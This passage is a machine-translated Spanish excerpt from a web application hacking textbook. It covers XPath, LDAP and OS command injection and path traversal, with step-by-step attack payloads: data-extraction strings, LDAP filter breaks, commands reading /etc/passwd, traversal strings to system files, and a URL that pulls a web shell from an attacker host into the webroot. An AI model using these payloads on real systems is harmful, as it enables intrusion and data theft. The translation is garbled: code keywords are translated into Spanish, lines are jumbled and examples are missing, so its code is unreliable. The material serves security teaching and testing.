Esta entrada genera resultados, porque la primera letra del nodo de dirección es a.
Pasando a la segunda letra, puede confirmar que esto es así proporcionando las siguientes
contraseñas, la última de las cuales genera resultados:
'
o subcadena(nombre(padre::*[posición()=1]),2,1)='a o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='b o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='c o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='d
Una vez establecido el nombre del nodo de dirección , puede recorrer cada uno de
sus nodos secundarios, extrayendo todos sus nombres y valores. Especificar el nodo
secundario relevante por índice evita la necesidad de conocer los nombres de los nodos.
Por ejemplo, la siguiente consulta devuelve el valor Hunter:
//dirección[posición()=3]/hijo::nodo()[posición()=4]/texto()
//dirección[posición()=3]/hijo::nodo()[posición()=6]/texto()
Machine Translated by Google
'
o subcadena(//dirección[posición()=1]/hijo::nodo()[posición()=6]/
texto(),1,1)= 'M' y 'a'='a
SUGERENCIA XPath contiene dos funciones útiles que pueden ayudarlo a automatizar
el ataque anterior e iterar rápidamente a través de todos los nodos y datos en el documento
XML:
¡INTENTALO!
http://mdsec.net/cclookup/19/
Una o más de las siguientes cadenas suelen dar como resultado algún cambio en el
comportamiento de la aplicación sin causar un error, de la misma manera que lo hacen en
relación con las fallas de inyección SQL:
' o 'a'='a
' y 'a'='b
o 1=1
y 1=2
Machine Translated by Google
Por lo tanto, en cualquier situación en la que sus pruebas de inyección de SQL proporcionen
evidencia tentativa de una vulnerabilidad, pero no pueda explotar la falla de manera concluyente,
debe investigar la posibilidad de que esté tratando con una falla de inyección de XPath.
PASOS DE HACK
1. Intente enviar los siguientes valores y determine si estos dan como resultado
un comportamiento diferente de la aplicación, sin causar un error:
' o cuenta(padre::*[posición()=1])=0 o 'a'='b
3. Habiendo extraído el nombre del nodo principal, use una serie de condiciones
con el siguiente formulario para extraer todos los datos dentro del árbol XML:
substring(//parentnodename[position()=1]/child::node()
[posición()=1]/texto(),1,1)='a'
Si cree que es necesario insertar una entrada proporcionada por el usuario en una consulta XPath,
esta operación solo debe realizarse en elementos de datos simples que puedan estar sujetos a
una validación de entrada estricta. La entrada del usuario debe compararse con una lista blanca
de caracteres aceptables, que idealmente debería incluir solo caracteres alfanuméricos. Los
caracteres que pueden usarse para interferir con la consulta XPath deben bloquearse, incluidos ( )
' [] :
= * / y todos los espacios en blanco.
,
Cualquier entrada que no coincida con la lista blanca debe rechazarse, no desinfectarse.
Inyectar en LDAP
El Protocolo ligero de acceso a directorios (LDAP) se utiliza para acceder a los servicios de
directorio a través de una red. Un directorio es un almacén de datos organizado jerárquicamente
que puede contener cualquier tipo de información, pero se usa comúnmente para almacenar datos
personales como nombres, números de teléfono, direcciones de correo electrónico y funciones laborales.
Machine Translated by Google
Ejemplos comunes de LDAP son Active Directory que se usa dentro de los dominios de
Windows y OpenLDAP, que se usa en diversas situaciones. Lo más probable es que encuentre
que LDAP se utiliza en aplicaciones web basadas en una intranet corporativa, como una
aplicación de recursos humanos que permite a los usuarios ver y modificar información sobre
los empleados.
Cada consulta LDAP utiliza uno o más filtros de búsqueda, que determinan las entradas de
directorio que devuelve la consulta. Los fi ltros de búsqueda pueden utilizar varios operadores
lógicos para representar condiciones de búsqueda complejas. Los filtros de búsqueda más
comunes que probablemente encontrará son los siguientes:
n Las condiciones de coincidencia simple coinciden con el valor de un solo atributo. Por
ejemplo, una función de aplicación que busca un usuario a través de su nombre de usuario
podría usar este fi ltro:
(nombre de usuario=daf)
Las consultas disyuntivas especifican múltiples condiciones, cualquiera de las cuales debe
ser satisfecha por las entradas que se devuelven. Por ejemplo, una función de búsqueda
que busque un término de búsqueda proporcionado por el usuario en varios atributos de
directorio podría usar este filtro:
n Las consultas conjuntas especifican múltiples condiciones, todas las cuales deben ser
satisfechas por las entradas que se devuelven. Por ejemplo, un mecanismo de inicio
de sesión implementado en LDAP podría usar este fi ltro:
(&(nombre de usuario=daf)(contraseña=secreto)
Al igual que con otras formas de inyección, si la entrada proporcionada por el usuario se
inserta en un filtro de búsqueda LDAP sin ninguna validación, es posible que un atacante
proporcione una entrada manipulada que modifique la estructura del filtro y, por lo tanto,
recupere datos o realice acciones en una forma no autorizada.
En general, las vulnerabilidades de inyección de LDAP no son tan fácilmente explotables como
Fallas de inyección SQL, debido a los siguientes factores:
aplicaciones rara vez devuelven mensajes de error informativos, por lo que las vulnerabilidades
generalmente necesitan ser explotados "a ciegas".
Consultas disyuntivas
Considere una aplicación que permita a los usuarios listar a los empleados dentro de un departamento
específico de la empresa. Los resultados de la búsqueda están restringidos a las ubicaciones
geográficas que el usuario está autorizado a ver. Por ejemplo, si un usuario está autorizado para ver
las ubicaciones de Londres y Reading y busca el departamento de "ventas", la aplicación realiza la
siguiente consulta disyuntiva:
Aquí, la aplicación construye una consulta disyuntiva y antepone diferentes expresiones antes de
la entrada proporcionada por el usuario para hacer cumplir el control de acceso requerido.
En esta situación, un atacante puede subvertir la consulta para devolver detalles de todos
empleados en todas las ubicaciones enviando el siguiente término de búsqueda:
)(departamento=*
El carácter * es un comodín en LDAP; coincide con cualquier artículo. Cuando esta entrada
está embebido en el fi ltro de búsqueda LDAP, se realiza la siguiente consulta:
(|(departamento=Londres)(departamento=*)(departamento=Lectura)(departamento=*))
Como se trata de una consulta disyuntiva y contiene el término comodín (departamento =*),
coincide con todas las entradas del directorio. Devuelve los detalles de todos los empleados de todas
las ubicaciones, subvirtiendo así el control de acceso de la aplicación.
¡INTENTALO!
http://mdsec.net/employees/31/
http://mdsec.net/employees/49/
Machine Translated by Google
Consultas Conjuntivas
Considere una función de aplicación similar que permita a los usuarios buscar empleados
por nombre, nuevamente dentro de la región geográfica que están autorizados a ver.
Si un usuario está autorizado a buscar dentro de la ubicación de Londres y busca
para el nombre daf se realiza la siguiente consulta:
(&(givenName=daf)(departamento=Londres*))
Aquí, la entrada del usuario se inserta en una consulta conjunta, la segunda parte de la
cual aplica el control de acceso requerido al hacer coincidir elementos en solo uno de los
departamentos de Londres.
En esta situación, dos ataques diferentes podrían tener éxito, según los detalles del
servicio LDAP de back-end. Algunas implementaciones de LDAP, incluido OpenLDAP,
permiten agrupar múltiples filtros de búsqueda y estos se aplican de manera disyuntiva. (En
otras palabras, se devuelven entradas de directorio que coinciden con cualquiera de los filtros
por lotes). Por ejemplo, un atacante podría proporcionar la siguiente entrada:
*))(&(nombre_dado=daf
(&(givenName=*))(&(givenName=daf)(departamento=Londres*))
Ahora contiene dos filtros de búsqueda, el primero de los cuales contiene una única
condición de coincidencia de comodines. Los detalles de todos los empleados se devuelven
desde todas las ubicaciones, lo que altera el control de acceso de la aplicación.
¡INTENTALO!
http://mdsec.net/employees/42/
NOTA Esta técnica de inyectar un segundo filtro de búsqueda también es efectiva contra
condiciones de coincidencia simple que no emplean ningún operador lógico, siempre que la
implementación de back-end acepte múltiples filtros de búsqueda.
*))%00
(&(givenName=*))[NULL])(departamento=Londres*))
Debido a que este fi ltro está truncado en el byte NULL , en lo que respecta a LDAP,
contiene solo una única condición de comodín, por lo que también se devuelven los detalles
de todos los empleados de los departamentos fuera del área de Londres.
¡INTENTALO!
http://mdsec.net/employees/13/
http://mdsec.net/employees/42/
PASOS DE HACK
1. Intente ingresar solo el carácter * como término de búsqueda. Este carácter funciona como
comodín en LDAP, pero no en SQL. Si se devuelve una gran cantidad de resultados, es
un buen indicador de que se trata de una consulta LDAP.
Esta entrada cierra los corchetes que encierran su entrada, así como aquellos
que encapsulan el filtro de búsqueda principal en sí. Esto da como resultado
corchetes de cierre no coincidentes, lo que invalida la sintaxis de la consulta. Si se
produce un error, la aplicación puede ser vulnerable a la inyección de LDAP. (Tenga en
cuenta que esta entrada también puede romper muchos otros tipos de lógica de
aplicación, por lo que esto proporciona un indicador sólido solo si ya está seguro de
que está tratando con una consulta LDAP).
Continuado
Machine Translated by Google
*))(|(cn=*
*))%00
Si es necesario insertar una entrada proporcionada por el usuario en una consulta LDAP,
esta operación debe realizarse solo en elementos de datos simples que puedan estar
sujetos a una validación de entrada estricta. La entrada del usuario debe compararse con
una lista blanca de caracteres aceptables, que idealmente debería incluir solo caracteres
alfanuméricos . Deben bloquearse los caracteres que puedan utilizarse para interferir con la
consulta LDAP , incluidos ( ) * | &
; =, ylista
el byte
blanca
nulo.debe
Cualquier
rechazarse,
entrada
noque
desinfectarse.
no coincida con la
Resumen
Hemos examinado una variedad de vulnerabilidades que le permiten inyectar en almacenes
de datos de aplicaciones web. Estas vulnerabilidades pueden permitirle leer o modificar
datos confidenciales de la aplicación, realizar otras acciones no autorizadas o subvertir la
lógica de la aplicación para lograr un objetivo.
A pesar de lo graves que son estos ataques, son solo parte de una gama más amplia de
ataques que implican la inyección en contextos interpretados. Otros ataques de esta
categoría pueden permitirle ejecutar comandos en el sistema operativo del servidor,
recuperar archivos arbitrarios e interferir con otros componentes de back-end. El próximo
capítulo examina estos ataques y otros. Analiza cómo las vulnerabilidades dentro de una
aplicación web pueden comprometer partes clave de la infraestructura más amplia que
admite la aplicación.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
4. Ha encontrado una vulnerabilidad de inyección SQL en una función de inicio de sesión e intenta usar
la entrada ' o 1=1-- para omitir el inicio
indica
de sesión.
que los Su
filtros
ataque
de entrada
falla y el
demensaje
la aplicación
de error
están
resultante
eliminando los caracteres -- . ¿Cómo podría eludir este problema?
5. Ha encontrado una vulnerabilidad de inyección SQL pero no ha podido realizar ningún ataque útil
porque la aplicación rechaza cualquier entrada que contenga espacios en blanco. ¿Cómo se puede
evitar esta restricción?
6. La aplicación está duplicando todas las comillas simples dentro de la entrada del usuario antes de
que se incorporen a las consultas SQL. Encontró una vulnerabilidad de inyección SQL en un
campo numérico, pero necesita usar un valor de cadena en una de sus cargas útiles de ataque.
¿Cómo puede colocar una cadena en su consulta sin usar comillas?
7. En algunas situaciones excepcionales, las aplicaciones construyen consultas SQL dinámicas a partir
de la entrada proporcionada por el usuario de una manera que no puede garantizarse utilizando
consultas parametrizadas. ¿Cuándo ocurre esto?
8. Tiene privilegios escalados dentro de una aplicación de modo que ahora tiene acceso
administrativo completo. Descubre una vulnerabilidad de inyección SQL dentro de
una función de administración de usuarios. ¿Cómo puede aprovechar esta capacidad
vulnerable para avanzar aún más en su ataque?
9. Está atacando una aplicación que no contiene datos confidenciales y no contiene mecanismos de
autenticación o control de acceso. En esta situación, ¿cómo clasificaría la importancia de las
siguientes vulnerabilidades? (a) Inyección SQL (b) Inyección XPath (c) Inyección de comando OS
Machine Translated by Google
10. Está probando una función de aplicación que le permite buscar detalles de
personal. Sospecha que la función está accediendo a una base de datos o
a un back-end de Active Directory. ¿Cómo podría tratar de determinar cuál
de estos es el caso?
Machine Translated by Google
CAPÍTULO R
10
Atacando el back-end
Componentes
Las aplicaciones web son ofertas cada vez más complejas. Con frecuencia funcionan como
la interfaz orientada a Internet para una variedad de recursos críticos para el negocio en el
back-end, incluidos recursos en red como servicios web, servidores web back-end ,
servidores de correo y recursos locales como sistemas de archivos e interfaces para el
sistema operativo. Con frecuencia, el servidor de aplicaciones también actúa como una
capa de control de acceso discrecional para estos componentes de back-end. Cualquier
ataque exitoso que pudiera realizar una interacción arbitraria con un componente de back-
end podría potencialmente violar todo el modelo de control de acceso aplicado por la
aplicación web, lo que permitiría el acceso no autorizado a datos y funciones confidenciales.
Cuando los datos pasan de un componente a otro, son interpretados por diferentes
conjuntos de API e interfaces. Los datos que la aplicación central considera "seguros"
pueden ser extremadamente inseguros dentro del componente posterior, que puede admitir
diferentes codificaciones, caracteres de escape, delimitadores de campo o terminadores de
cadena. Además, el componente en adelante puede poseer una funcionalidad
considerablemente mayor que la que invoca normalmente la aplicación. Un atacante que
explota una vulnerabilidad de inyección a menudo puede ir más allá de simplemente romper
el control de acceso de la aplicación. Puede explotar la funcionalidad adicional admitida por
el componente de back-end para comprometer partes clave de la infraestructura de la
organización.
357
Machine Translated by Google
La mayoría de las plataformas de servidores web han evolucionado hasta el punto en que
existen API integradas para realizar prácticamente cualquier interacción requerida con el
sistema operativo del servidor . Usadas correctamente, estas API pueden permitir a los
desarrolladores acceder al sistema de archivos, interactuar con otros procesos y llevar a
cabo comunicaciones de red de manera segura. Sin embargo, hay muchas situaciones en
las que los desarrolladores optan por utilizar la técnica más pesada de emitir comandos del
sistema operativo directamente al servidor. Esta opción puede resultar atractiva por su
potencia y sencillez y, a menudo, proporciona una solución inmediata y funcional a un
problema en particular. Sin embargo, si la aplicación pasa la entrada proporcionada por el
usuario a los comandos del sistema operativo, puede ser vulnerable a la inyección de
comandos, lo que permite a un atacante enviar entradas manipuladas que modifican los
comandos que los desarrolladores pretendían ejecutar.
Las funciones comúnmente utilizadas para emitir comandos del sistema operativo, como
exec en PHP y wscript.shell en ASP, no imponen ninguna restricción en el alcance de los
comandos que se pueden ejecutar. Incluso si un desarrollador tiene la intención de usar
una API para realizar una tarea relativamente benigna, como enumerar el contenido de un
directorio, un atacante puede subvertirlo para escribir archivos arbitrarios o iniciar otros
programas. Cualquier comando inyectado generalmente se ejecuta en el contexto de
seguridad del proceso del servidor web, que a menudo es lo suficientemente poderoso
como para que un atacante comprometa todo el servidor.
Las fallas de inyección de comandos de este tipo han surgido en numerosas aplicaciones
web estándar y personalizadas. Han prevalecido especialmente en aplicaciones que
proporcionan una interfaz administrativa a un servidor empresarial oa dispositivos como
cortafuegos, impresoras y enrutadores. Estas aplicaciones a menudo tienen requisitos
particulares para la interacción con el sistema operativo que llevan a los desarrolladores a
usar comandos directos que incorporan datos proporcionados por el usuario.
#!/usr/bin/perl uso
estricto;
usar CGI qw(:escapeHTML estándar); imprimir
encabezado, start_html(“”); imprimir “<pre>”;
imprime “$comando\n”;
imprimir fin_html;
Cuando se usa según lo previsto, este script simplemente agrega el valor del parámetro
dir proporcionado por el usuario al final de un comando preestablecido, ejecuta el comando y
muestra los resultados, como se muestra en la Figura 10-1.
Figura 10-1: Una función de aplicación simple para enumerar el contenido de un directorio
Aquí, la salida del comando du original se ha redirigido como entrada al comando cat/
etc/passwd. Este comando simplemente ignora la entrada y realiza su única tarea de
generar el contenido del archivo passwd .
Un ataque tan simple como este puede parecer improbable; sin embargo, exactamente
este tipo de inyección de comandos se ha encontrado en numerosos productos comerciales.
Por ejemplo, se descubrió que HP OpenView es vulnerable a un error de inyección de
comandos dentro de la siguiente URL:
...
proceso de proceso = Process.Start (psInfo);
Cuando se usa según lo previsto, este script inserta el valor del parámetro Directorio
proporcionado por el usuario en un comando preestablecido, ejecuta el comando y muestra
los resultados, como se muestra en la Figura 10-3.
Al igual que con el script Perl vulnerable, un atacante puede usar metacaracteres de
shell para interferir con el comando preestablecido previsto por el desarrollador e inyectar
su propio comando. El carácter de ampersand (&) se utiliza para agrupar varios comandos.
Proporcionar un nombre de archivo que contenga el carácter ampersand y un segundo
comando hace que este comando se ejecute y se muestren sus resultados, como se
muestra en la Figura 10-4.
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/admin/5/
http://mdsec.net/admin/9/
http://mdsec.net/admin/14/
/search.php?storedsearch=\$mibúsqueda%3dwahh
La aplicación del lado del servidor implementa esta funcionalidad mediante la generación
dinámica de variables que contienen los pares de nombre/valor especificados en el parámetro
de búsqueda almacenado , en este caso creando una variable mysearch con el valor wahh:
En esta situación, puede enviar una entrada diseñada que se ejecuta dinámicamente
mediante la función eval , lo que da como resultado la inyección de comandos PHP
arbitrarios en la aplicación del lado del servidor. El carácter de punto y coma se puede
usar para agrupar comandos en un solo parámetro. Por ejemplo, para recuperar el
contenido del archivo /etc/password, puede usar el comando file_get_contents o system :
/search.php?storedsearch=\$mysearch%3dwahh;%20echo%20file_get
_contents('/etc/contraseña')
/search.php?storedsearch=\$mysearch%3dwahh;%20system('cat%20/etc/
contraseña')
NOTA El lenguaje Perl también contiene una función de evaluación que se puede
aprovechar de la misma manera. Tenga en cuenta que es posible que el carácter de punto y
coma deba codificarse como URL (como %3b) porque algunos analizadores de secuencias de
comandos CGI lo interpretan como un delimitador de parámetros. En ASP clásico, Execute() realiza un papel similar.
Machine Translated by Google
n Los caracteres ;|& y el salto de línea se pueden usar para agrupar varios comandos, uno
tras otro. En algunos casos, estos personajes pueden duplicarse con diferentes efectos.
Por ejemplo, en el intérprete de comandos de Windows, el uso de && hace que el
segundo comando se ejecute solo si el primero tiene éxito.
Usando || hace que el segundo comando siempre se ejecute, independientemente
del éxito del primero.
n El carácter de acento grave (`) se puede usar para encapsular un comando separado
dentro de un elemento de datos que está siendo procesado por el comando original.
Colocar un comando inyectado dentro de los acentos graves hace que el intérprete de
shell ejecute el comando y reemplace el texto encapsulado con los resultados de este
comando antes de continuar con la ejecución de la cadena de comando resultante.
En los ejemplos anteriores, era sencillo verificar que la inyección de comandos era posible
y recuperar los resultados del comando inyectado, porque esos resultados se devolvían
inmediatamente dentro de la respuesta de la aplicación.
En muchos casos, sin embargo, esto puede no ser posible. Es posible que esté inyectando un
comando que no arroja resultados y que no afecta el procesamiento posterior de la aplicación
de ninguna manera identificable. O el método que ha utilizado para inyectar el comando elegido
puede ser tal que sus resultados se pierdan a medida que se agrupan varios comandos.
PASOS DE HACK
1. Normalmente puede usar el comando ping como un medio para activar un retraso de
tiempo al hacer que el servidor haga ping en su interfaz de bucle invertido durante un
período específico. Existen pequeñas diferencias entre cómo las plataformas basadas
en Windows y UNIX manejan los separadores de comandos y el comando ping .
Sin embargo, la siguiente cadena de prueba multipropósito debe inducir un retraso
de 30 segundos en cualquiera de las plataformas si no se aplica ningún filtro:
3. Usando cualquiera de las cadenas de inyección que resultó exitosa, intente inyectar
un comando más interesante (como ls o dir). Determine si puede recuperar los
resultados del comando en su navegador.
n Puede redirigir los resultados de sus comandos a un archivo dentro de la raíz web,
que luego puede recuperar directamente usando su navegador. Por ejemplo:
En algunos casos, puede que no sea posible inyectar un comando completamente separado
debido al filtrado de los caracteres requeridos o al comportamiento de la API de comandos que
utiliza la aplicación. Sin embargo, aún puede ser posible interferir con el comportamiento del
comando que se ejecuta para lograr algún resultado deseado.
En un caso visto por los autores, la aplicación pasó la entrada del usuario al comando del sistema
operativo nslookup para encontrar la dirección IP de un nombre de dominio proporcionado por el
usuario. Se bloquearon los metacaracteres necesarios para inyectar nuevos comandos, pero se
permitieron los caracteres < y > utilizados para redirigir la entrada y salida del comando. El comando
nslookup generalmente genera la dirección IP de un nombre de dominio, lo que no parece
proporcionar un vector de ataque efectivo. Sin embargo, si se proporciona un nombre de dominio no
válido , el comando genera un mensaje de error que incluye el nombre de dominio que se buscó.
Este comportamiento demostró ser suficiente para lanzar un ataque serio:
n Use el carácter > para redirigir la salida del comando a un archivo en una carpeta ejecutable
dentro de la raíz web. El comando ejecutado por el sistema operativo es el siguiente:
¡INTENTALO!
http://mdsec.net/admin/18/
Machine Translated by Google
PASOS DE HACK
url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\
cmdasp.asp
PASOS DE HACK
1. Cualquier elemento de datos proporcionados por el usuario se puede pasar a una función
de ejecución dinámica. Algunos de los elementos más comúnmente utilizados de esta
manera son los nombres y valores de los parámetros de las cookies y los datos persistentes
almacenados en los perfiles de los usuarios como resultado de acciones anteriores.
2. Intente enviar los siguientes valores uno por uno como cada parámetro objetivo:
;eco%20111111
eco%20111111
respuesta.escribir%20111111
:respuesta.escribir%20111111
3. Revise las respuestas de la aplicación. Si la cadena 111111 se devuelve sola (no está precedida
por el resto de la cadena de comando), es probable que la aplicación sea vulnerable a la
inyección de comandos de secuencias de comandos.
4. Si no se devuelve la cadena 111111, busque cualquier mensaje de error que indique que su
entrada se está ejecutando dinámicamente y que es posible que deba ajustar su sintaxis para
lograr la inyección de comandos arbitrarios.
5. Si la aplicación que está atacando usa PHP, puede usar la cadena de prueba phpinfo(), que, si
tiene éxito, devuelve los detalles de configuración del entorno PHP.
6. Si la aplicación parece ser vulnerable, verifíquelo inyectando algunos comandos que provoquen
demoras, como se describió anteriormente para la inyección de comandos del sistema
operativo. Por ejemplo:
sistema('ping%20127.0.0.1')
Muchos tipos de funciones que se encuentran comúnmente en las aplicaciones web involucran el
procesamiento de entradas proporcionadas por el usuario como un archivo o un nombre de directorio.
Por lo general, la entrada se pasa a una API que acepta una ruta de archivo, como en la recuperación
de un archivo del sistema de archivos local. La aplicación procesa el resultado de la llamada a la API
dentro de su respuesta a la solicitud del usuario. Si la entrada proporcionada por el usuario se valida
incorrectamente, este comportamiento puede dar lugar a varias vulnerabilidades de seguridad, las más
comunes son errores de cruce de ruta de archivo y errores de inclusión de archivo.
Las vulnerabilidades de cruce de rutas surgen cuando la aplicación utiliza datos controlables por el
usuario para acceder a archivos y directorios en el servidor de aplicaciones u otro sistema de archivos
back -end de una manera no segura. Al enviar una entrada manipulada, un atacante puede hacer que
se lea o se escriba contenido arbitrario en cualquier parte del sistema de archivos al que se acceda.
Esto a menudo permite que un atacante lea información confidencial del servidor o sobrescriba archivos
confidenciales, lo que en última instancia conduce a la ejecución arbitraria de comandos en el servidor.
Machine Translated by Google
Considere el siguiente ejemplo, en el que una aplicación utiliza una página dinámica
para devolver imágenes estáticas al cliente. El nombre de la imagen solicitada se
especifica en un parámetro de cadena de consulta:
http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg
http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini
Las dos secuencias transversales retroceden efectivamente desde la dirección de las imágenes.
tory a la raíz de la unidad C:, por lo que la ruta anterior es equivalente a esto:
C:\windows\win.ini
Por lo tanto, en lugar de devolver un archivo de imagen, el servidor en realidad devuelve un archivo de
configuración predeterminado de Windows.
NOTA En versiones anteriores del servidor web Windows IIS, las aplicaciones, de forma
predeterminada, se ejecutaban con privilegios del sistema local, lo que permitía el acceso
a cualquier archivo legible en el sistema de archivos local. En versiones más recientes, al
igual que muchos otros servidores web, el proceso del servidor se ejecuta de forma
predeterminada en un contexto de usuario con menos privilegios. Por esta razón, al buscar
vulnerabilidades de cruce de ruta, es mejor solicitar un archivo predeterminado que pueda ser leído por cualquier tip
c:\ventanas\win.ini.
Desde hace algún tiempo, es común encontrar aplicaciones que implementan varias
defensas contra ellas, a menudo basadas en filtros de validación de entrada. Como
verá, estos fi ltros a menudo están mal diseñados y pueden ser eludidos por un
atacante habilidoso.
¡INTENTALO!
http://mdsec.net/filestore/8/
Muchos tipos de funciones requieren una aplicación web para leer o escribir en un sistema de archivos
en función de los parámetros proporcionados en las solicitudes de los usuarios. Si estas operaciones se
llevan a cabo de manera insegura, un atacante puede enviar una entrada manipulada que haga que la
aplicación acceda a archivos a los que el diseñador de la aplicación no pretendía acceder. Estos defectos,
conocidos como vulnerabilidades de cruce de ruta , pueden permitir que el atacante lea datos
confidenciales, incluidas contraseñas y registros de aplicaciones, o que sobrescriba elementos críticos
para la seguridad, como archivos de configuración y binarios de software. En los casos más graves, la
vulnerabilidad puede permitir que un atacante comprometa por completo tanto la aplicación como el
sistema operativo subyacente.
Las fallas de cruce de ruta a veces son sutiles de detectar, y muchas aplicaciones web implementan
defensas contra ellas que pueden ser vulnerables a las omisiones. Describiremos todas las diversas
técnicas que necesitará, desde la identificación de objetivos potenciales hasta la detección de
comportamientos vulnerables, eludir las defensas de la aplicación y lidiar con la codificación personalizada.
ataque Durante el mapeo inicial de la aplicación, ya debería haber identificado las áreas obvias de
superficie de ataque en relación con las vulnerabilidades transversales de la ruta.
Cualquier funcionalidad cuyo propósito explícito sea cargar o descargar archivos debe probarse
exhaustivamente. Esta funcionalidad se encuentra a menudo en aplicaciones de flujo de trabajo donde
los usuarios pueden compartir documentos, en aplicaciones de blogs y subastas donde los usuarios
pueden cargar imágenes y en aplicaciones informativas donde los usuarios pueden recuperar documentos
como libros electrónicos, manuales técnicos e informes de la empresa.
PASOS DE HACK
2. Durante todas las pruebas que realice en relación con cualquier otro tipo de capacidad
de vulnerabilidad, busque mensajes de error u otros eventos anómalos que sean de
interés. Intente encontrar cualquier evidencia de instancias en las que los datos
proporcionados por el usuario se transfieran a las API de archivos o como parámetros
a los comandos del sistema operativo.
SUGERENCIA Si tiene acceso local a la aplicación (ya sea en un ejercicio de prueba de caja
blanca o porque ha comprometido el sistema operativo del servidor), la identificación de
objetivos para la prueba transversal de ruta suele ser sencilla, porque puede monitorear toda la
interacción del sistema de archivos que la aplicación realiza
PASOS DE HACK
1. Use una herramienta adecuada para monitorear toda la actividad del sistema de archivos en el servidor. Para
Por ejemplo, la herramienta FileMon de SysInternals se puede usar en la plataforma
Windows, las herramientas ltrace/strace se pueden usar en Linux y el comando truss se
puede usar en Solaris de Sun.
2. Pruebe cada página de la aplicación insertando una sola cadena única (como prueba
transversal) en cada parámetro enviado (incluidas todas las cookies, los campos de
cadena de consulta y los elementos de datos POST). Apunte solo a un parámetro a la vez
y use las técnicas automatizadas descritas en el Capítulo 14 para acelerar el proceso.
3. Establezca un filtro en su herramienta de monitoreo del sistema de archivos para identificar todos los sistemas de archivos.
Habiendo identificado los diversos objetivos potenciales para las pruebas de cruce de rutas, debe probar
cada instancia individualmente para determinar si los datos controlables por el usuario se pasan a las
operaciones relevantes del sistema de archivos de manera insegura.
Para cada parámetro proporcionado por el usuario que se está probando, determine si
la aplicación está bloqueando las secuencias transversales o si funcionan como se esperaba.
Una prueba inicial que suele ser confiable es enviar secuencias transversales de una
manera que no implique retroceder por encima del directorio de inicio.
PASOS DE HACK
archivo=foo/archivo1.txt
archivo=foo/bar/../archivo1.txt
Si encuentra instancias en las que enviar secuencias transversales sin pasar por encima
del directorio de inicio no afecta el comportamiento de la aplicación, la siguiente prueba es
intentar atravesar el directorio de inicio y acceder a los archivos desde cualquier otro lugar
del sistema de archivos del servidor.
Machine Translated by Google
PASOS DE HACK
../../../../../../../../../../../../etc/contraseña
../../../../../../../../../../../../windows/win.ini
2. Si la función que está atacando proporciona acceso de escritura a un archivo, puede ser
más difícil verificar de manera concluyente si la aplicación es vulnerable. Una prueba que
a menudo es efectiva es intentar escribir dos archivos, uno en el que cualquier usuario
debe poder escribir y otro en el que no debe tener permiso de escritura ni siquiera el root
o el administrador. Por ejemplo, en plataformas Windows puedes probar esto:
../../../../../../../../../../../../writetest.txt
../../../../../../../../../../../../windows/system32/config/sam
En las plataformas basadas en UNIX, los archivos que la raíz no puede escribir
dependen de la versión, pero intentar sobrescribir un directorio con un archivo
siempre debería fallar, por lo que puede probar esto:
../../../../../../../../../../../../tmp/writetest.txt
../../../../../../../../../../../../tmp
3. Un método alternativo para verificar una falla transversal con acceso de escritura es
intentar escribir un nuevo archivo dentro de la raíz web del servidor web y luego
intentar recuperarlo con un navegador. Sin embargo, es posible que este método no
funcione si no conoce la ubicación del directorio raíz web o si el contexto de usuario
en el que se produce el acceso al archivo no tiene permiso para escribir allí.
Machine Translated by Google
Además, la plataforma Windows tolera tanto las barras diagonales como las diagonales inversas.
como separadores de directorio, mientras que las plataformas basadas en UNIX solo
toleran la barra inclinada. Además, algunas aplicaciones web filtran una versión pero no
la otra. Incluso si está seguro de que el servidor web está ejecutando un sistema operativo
basado en UNIX, es posible que la aplicación siga llamando a un componente de back-end
basado en Windows. Debido a esto, siempre es recomendable probar ambas versiones
cuando se buscan fallas transversales.
PASOS DE HACK
1. Intente siempre secuencias transversales de ruta usando barras diagonales y barras diagonales
inversas. Muchos filtros de entrada verifican solo uno de estos, cuando el sistema de
archivos puede admitir ambos.
Puede usar el tipo de carga útil ilegal Unicode dentro de Burp Intruder para generar
una gran cantidad de representaciones alternativas de cualquier personaje dado y enviarlo
en el lugar relevante dentro de su parámetro de destino.
Estas representaciones violan estrictamente las reglas para la representación Unicode
pero, sin embargo, son aceptadas por muchas implementaciones de decodificadores
Unicode, particularmente en la plataforma Windows.
....//
....\/
..../\
....\\
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/filestore/30/
http://mdsec.net/filestore/39/
http://mdsec.net/filestore/46/
http://mdsec.net/filestore/59/
http://mdsec.net/filestore/65/
PASOS DE HACK
La razón por la que este ataque a veces tiene éxito es que la verificación del tipo de archivo
se implementa utilizando una API en un entorno de ejecución administrado en
el que se permite que las cadenas contengan caracteres nulos (como String.
EndsWith() en Java). Sin embargo, cuando el archivo se recupera realmente, la
aplicación finalmente usa una API en un entorno no administrado en el que las
cadenas terminan en nulo. Por lo tanto, su nombre de archivo se trunca efectivamente
a su valor deseado.
3. Algunas aplicaciones verifican si el nombre de archivo proporcionado por el usuario comienza con
un subdirectorio particular del directorio de inicio, o incluso un nombre de archivo específico.
Por supuesto, esta verificación se puede eludir fácilmente de la siguiente manera:
almacén de archivos/../../../../../../../etc/passwd
4. Si ninguno de los ataques anteriores contra los filtros de entrada tiene éxito, indi
vidualmente, la aplicación podría estar implementando múltiples tipos de filtros.
Por lo tanto, debe combinar varios de estos ataques simultáneamente (tanto contra
filtros de secuencia transversal como contra filtros de tipo de archivo o directorio). Si
Machine Translated by Google
PASOS DE HACK
diagrama1.jpg
foo/../diagrama1.jpg
falla, intente todas las omisiones de secuencia transversal posibles hasta que
una variación en la segunda solicitud sea exitosa. Si estas omisiones exitosas
de secuencia transversal no le permiten acceder a /etc/passwd, investigue si se
implementa algún tipo de filtrado de archivos y se puede omitir solicitando:
diagrama1.jpg%00.jpg
personalizada Probablemente el error de cruce de ruta más loco que los autores han encontrado involucraba
